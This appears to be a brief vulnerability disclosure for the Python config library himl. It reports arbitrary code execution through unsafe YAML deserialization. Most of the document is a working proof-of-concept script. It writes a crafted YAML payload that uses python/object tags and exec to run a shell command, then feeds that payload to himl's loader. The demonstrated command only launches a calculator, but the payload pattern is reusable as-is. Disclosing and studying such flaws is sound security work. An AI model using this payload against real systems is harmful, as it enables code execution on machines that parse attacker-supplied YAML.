himl
is a hierarchical config using yaml in Python, which is vulnerable to Arbitary Code Execution
.
Vulnerable to YAML deserialization attack caused by unsafe loading.
pip install himl
import os
#os.system('pip install himl')
from himl import config_generator
exploit = """!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
"""
open('pwn.yml','w+').write(exploit)
config_generator.ConfigGenerator.yaml_get_content('pwn.yml')
python3 exploit.py
Arbitary Code Execution